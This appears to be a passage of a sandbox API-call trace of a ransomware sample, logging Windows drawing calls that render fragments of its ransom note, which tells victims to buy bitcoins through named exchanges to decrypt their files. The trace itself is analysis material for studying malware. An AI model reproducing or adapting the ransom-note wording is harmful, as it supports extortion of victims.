[0111.247] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.247] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.247] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.247] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.247] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.247] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] IsRectEmpty (lprc=0x1c8af4) returned 0
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.248] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.249] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.249] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.249] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.249] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4936c8 | out: hHeap=0x450000) returned 1
[0111.249] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.249] LsSetDoc () returned 0x0
[0111.249] LsCreateLine () returned 0x0
[0111.249] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.250] LsDisplayLine () returned 0x0
[0111.250] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x18a002e
[0111.250] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2000000
[0111.250] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.250] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.250] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.250] _CIatan2 () returned 0x20
[0111.250] _CIatan2 () returned 0x20
[0111.250] ExtTextOutW (hdc=0x90101e7, x=62, y=-1, options=0x4, lprect=0x1c8390, lpString="https://localbitcoins.net/buy_bitcoins Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x26, lpDx=0x1c83c8) returned 1
[0111.250] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.250] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.250] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.250] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.250] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.251] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xa3001e3
[0111.251] SelectObject (hdc=0x90101e7, h=0xa3001e3) returned 0x1b00016
[0111.251] MoveToEx (in: hdc=0x90101e7, x=62, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0111.251] LineTo (hdc=0x90101e7, x=297, y=0) returned 1
[0111.251] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xa3001e3
[0111.251] DeleteObject (ho=0xa3001e3) returned 1
[0111.251] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.251] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2cc6600
[0111.251] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.251] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.251] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.251] _CIatan2 () returned 0x20
[0111.251] _CIatan2 () returned 0x20
[0111.251] ExtTextOutW (hdc=0x90101e7, x=297, y=-1, options=0x4, lprect=0x1c8390, lpString=" Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.251] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.251] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.251] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.251] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.251] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.251] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.251] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.251] _CIatan2 () returned 0x20
[0111.251] _CIatan2 () returned 0x20
[0111.251] ExtTextOutW (hdc=0x90101e7, x=302, y=-1, options=0x4, lprect=0x1c8390, lpString=" Bitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.251] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.251] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.251] LsDestroyLine () returned 0x0
[0111.252] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.252] LsSetDoc () returned 0x0
[0111.252] LsCreateLine () returned 0x0
[0111.252] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.253] LsDisplayLine () returned 0x0
[0111.253] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.253] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.253] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.253] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.253] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.253] _CIatan2 () returned 0x20
[0111.253] _CIatan2 () returned 0x20
[0111.253] ExtTextOutW (hdc=0x90101e7, x=62, y=24, options=0x4, lprect=0x1c8498, lpString="Also you can find other places to buy Bitcoins and beginners guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x48, lpDx=0x1c84d0) returned 1
[0111.253] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.253] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.253] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.253] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.253] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.253] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.253] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.253] _CIatan2 () returned 0x20
[0111.253] _CIatan2 () returned 0x20
[0111.253] ExtTextOutW (hdc=0x90101e7, x=531, y=24, options=0x4, lprect=0x1c8498, lpString=" r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.253] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.253] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.254] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.254] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.254] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.254] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.254] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.254] _CIatan2 () returned 0x20
[0111.254] _CIatan2 () returned 0x20
[0111.254] ExtTextOutW (hdc=0x90101e7, x=536, y=24, options=0x4, lprect=0x1c8498, lpString=" r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.254] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.254] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.254] LsDestroyLine () returned 0x0
[0111.254] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.254] LsSetDoc () returned 0x0
[0111.254] LsCreateLine () returned 0x0
[0111.254] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.256] LsDisplayLine () returned 0x0
[0111.257] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.257] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2000000
[0111.257] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.257] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.257] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.257] _CIatan2 () returned 0x20
[0111.257] _CIatan2 () returned 0x20
[0111.257] ExtTextOutW (hdc=0x90101e7, x=62, y=49, options=0x4, lprect=0x1c8390, lpString="http://www.coindesk.com/information/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x27, lpDx=0x1c83c8) returned 1
[0111.257] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.257] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.257] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.257] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.257] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.257] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xc3001d4
[0111.257] SelectObject (hdc=0x90101e7, h=0xc3001d4) returned 0x1b00016
[0111.257] MoveToEx (in: hdc=0x90101e7, x=62, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.257] LineTo (hdc=0x90101e7, x=338, y=50) returned 1
[0111.257] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xc3001d4
[0111.257] DeleteObject (ho=0xc3001d4) returned 1
[0111.258] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.258] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.258] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.258] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.258] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.258] _CIatan2 () returned 0x20
[0111.258] _CIatan2 () returned 0x20
[0111.258] ExtTextOutW (hdc=0x90101e7, x=338, y=49, options=0x4, lprect=0x1c8390, lpString="-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.258] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.258] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.258] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.258] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.258] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.258] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xb3001e3
[0111.258] SelectObject (hdc=0x90101e7, h=0xb3001e3) returned 0x1b00016
[0111.258] MoveToEx (in: hdc=0x90101e7, x=338, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.258] LineTo (hdc=0x90101e7, x=343, y=50) returned 1
[0111.258] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xb3001e3
[0111.258] DeleteObject (ho=0xb3001e3) returned 1
[0111.258] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.258] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.258] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.258] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.258] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.258] _CIatan2 () returned 0x20
[0111.259] _CIatan2 () returned 0x20
[0111.259] ExtTextOutW (hdc=0x90101e7, x=343, y=49, options=0x4, lprect=0x1c8390, lpString="can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x3, lpDx=0x1c83c8) returned 1
[0111.259] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.259] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.259] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.259] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.259] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.259] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xd3001d4
[0111.259] SelectObject (hdc=0x90101e7, h=0xd3001d4) returned 0x1b00016
[0111.259] MoveToEx (in: hdc=0x90101e7, x=343, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.259] LineTo (hdc=0x90101e7, x=366, y=50) returned 1
[0111.259] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xd3001d4
[0111.259] DeleteObject (ho=0xd3001d4) returned 1
[0111.259] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.259] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.259] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.259] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.259] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.259] _CIatan2 () returned 0x20
[0111.259] _CIatan2 () returned 0x20
[0111.259] ExtTextOutW (hdc=0x90101e7, x=366, y=49, options=0x4, lprect=0x1c8390, lpString="-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.259] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.259] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.259] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.259] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.259] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.260] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xc3001e3
[0111.260] SelectObject (hdc=0x90101e7, h=0xc3001e3) returned 0x1b00016
[0111.260] MoveToEx (in: hdc=0x90101e7, x=366, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.260] LineTo (hdc=0x90101e7, x=371, y=50) returned 1
[0111.260] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xc3001e3
[0111.260] DeleteObject (ho=0xc3001e3) returned 1
[0111.260] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.260] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.260] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.260] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.260] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.260] _CIatan2 () returned 0x20
[0111.260] _CIatan2 () returned 0x20
[0111.260] ExtTextOutW (hdc=0x90101e7, x=371, y=49, options=0x4, lprect=0x1c8390, lpString="i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.260] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.260] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.260] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.260] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.260] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.260] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xe3001d4
[0111.260] SelectObject (hdc=0x90101e7, h=0xe3001d4) returned 0x1b00016
[0111.260] MoveToEx (in: hdc=0x90101e7, x=371, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.260] LineTo (hdc=0x90101e7, x=373, y=50) returned 1
[0111.260] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xe3001d4
[0111.260] DeleteObject (ho=0xe3001d4) returned 1
[0111.261] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.261] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.261] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.261] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.261] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.261] _CIatan2 () returned 0x20
[0111.261] _CIatan2 () returned 0x20
[0111.261] ExtTextOutW (hdc=0x90101e7, x=373, y=49, options=0x4, lprect=0x1c8390, lpString="-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.261] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.261] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.261] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.261] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.261] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.261] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xd3001e3
[0111.261] SelectObject (hdc=0x90101e7, h=0xd3001e3) returned 0x1b00016
[0111.261] MoveToEx (in: hdc=0x90101e7, x=373, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.261] LineTo (hdc=0x90101e7, x=378, y=50) returned 1
[0111.261] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xd3001e3
[0111.261] DeleteObject (ho=0xd3001e3) returned 1
[0111.261] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.261] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.261] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.261] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.261] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.261] _CIatan2 () returned 0x20
[0111.261] _CIatan2 () returned 0x20
[0111.261] ExtTextOutW (hdc=0x90101e7, x=378, y=49, options=0x4, lprect=0x1c8390, lpString="buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x3, lpDx=0x1c83c8) returned 1
[0111.261] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.261] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.262] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.262] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.262] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.262] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xf3001d4
[0111.262] SelectObject (hdc=0x90101e7, h=0xf3001d4) returned 0x1b00016
[0111.262] MoveToEx (in: hdc=0x90101e7, x=378, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.262] LineTo (hdc=0x90101e7, x=402, y=50) returned 1
[0111.262] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xf3001d4
[0111.262] DeleteObject (ho=0xf3001d4) returned 1
[0111.262] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.262] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.262] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.262] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.262] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.262] _CIatan2 () returned 0x20
[0111.262] _CIatan2 () returned 0x20
[0111.262] ExtTextOutW (hdc=0x90101e7, x=402, y=49, options=0x4, lprect=0x1c8390, lpString="-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.262] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.262] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.262] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.262] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.262] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.262] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xe3001e3
[0111.262] SelectObject (hdc=0x90101e7, h=0xe3001e3) returned 0x1b00016
[0111.262] MoveToEx (in: hdc=0x90101e7, x=402, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.262] LineTo (hdc=0x90101e7, x=407, y=50) returned 1
[0111.263] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xe3001e3
[0111.263] DeleteObject (ho=0xe3001e3) returned 1
[0111.263] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.263] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.263] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.263] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.263] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.263] _CIatan2 () returned 0x20
[0111.263] _CIatan2 () returned 0x20
[0111.263] ExtTextOutW (hdc=0x90101e7, x=407, y=49, options=0x4, lprect=0x1c8390, lpString="bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x9, lpDx=0x1c83c8) returned 1
[0111.263] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.263] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.263] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.263] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0111.263] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.263] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x103001d4
[0111.263] SelectObject (hdc=0x90101e7, h=0x103001d4) returned 0x1b00016
[0111.263] MoveToEx (in: hdc=0x90101e7, x=407, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0111.263] LineTo (hdc=0x90101e7, x=460, y=50) returned 1
[0111.263] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x103001d4
[0111.263] DeleteObject (ho=0x103001d4) returned 1
[0111.263] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.263] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2cc6600
[0111.263] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.263] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.263] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.264] _CIatan2 () returned 0x20
[0111.264] _CIatan2 () returned 0x20
[0111.264] ExtTextOutW (hdc=0x90101e7, x=460, y=49, options=0x4, lprect=0x1c8390, lpString=" guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.264] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.264] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.264] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.264] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.264] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.264] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.264] _CIatan2 () returned 0x20
[0111.264] _CIatan2 () returned 0x20
[0111.264] ExtTextOutW (hdc=0x90101e7, x=465, y=49, options=0x4, lprect=0x1c8390, lpString=" ", c=0x1, lpDx=0x1c83c8) returned 1
[0111.264] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.264] LsDestroyLine () returned 0x0
[0111.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.264] LsSetDoc () returned 0x0
[0111.264] LsCreateLine () returned 0x0
[0111.264] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.265] LsDisplayLine () returned 0x0
[0111.265] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0111.265] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.265] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.265] LsDestroyLine () returned 0x0
[0111.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.265] LsSetDoc () returned 0x0
[0111.265] LsCreateLine () returned 0x0
[0111.265] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.265] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc540
[0111.266] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0111.266] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.266] LsdnFinishRegular () returned 0x0
[0111.266] LsDisplayLine () returned 0x0
[0111.266] LsDestroyLine () returned 0x0
[0111.266] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc540 | out: hHeap=0x450000) returned 1
[0111.266] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.266] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.266] LsSetDoc () returned 0x0
[0111.266] LsCreateLine () returned 0x0
[0111.267] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.267] LsQueryLineDup () returned 0x0
[0111.267] LsQueryLineCpPpoint () returned 0x0
[0111.267] LsDisplayLine () returned 0x0
[0111.267] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0111.267] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.267] SetBkMode (hdc=0x90101e7, mode=1) returned 1
